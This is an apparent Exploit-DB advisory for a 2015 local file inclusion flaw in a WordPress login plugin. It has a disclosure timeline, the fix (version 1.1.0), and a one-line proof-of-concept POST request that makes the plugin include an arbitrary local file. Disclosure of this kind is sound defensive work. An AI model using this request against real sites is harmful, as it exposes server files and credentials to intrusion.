WordPress zM Ajax Login & Register Plugin 1.0.9 Local File Inclusion

Posted on Posted in Exploit
EDB-ID: 37200 CVE: N/A OSVDB-ID: N/A
Verified: No Author: Panagiotis Vagenas Published: 2015-06-04
Download Exploit: Source Raw Download Vulnerable App: N/A
# Exploit Title: CVE-2015-4153 - WordPress zM Ajax Login & Register
Plugin [Local File Inclusion]
# Date: 2015/06/01
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://zanematthew.com/
# Software Link:
https://downloads.wordpress.org/plugin/zm-ajax-login-register.1.0.9.zip
# Version: 1.0.9
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4153
 
* Description
 
Any authenticated or non-authenticated user can perform a local file
inclusion attack by exploiting the wp_ajax_nopriv_load_template action.
Plugin simply includes the file specified in 'template' POST parameter
without any further validation.
 
* Proof of Concept
 
Send a post request to
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data:
`action=load_template&template=[relative path to local
file]&security=[wp nonce]&referer=[action from which the nonce came from]`
 
* Timeline
 
2015/06/01 Discovered
2015/06/01 Vendor alerted via contact form at his website
2015/06/03 Vendor responded
2015/06/03 Fixed in version 1.1.0
 
 
* Solution
 
Update to version 1.1.0
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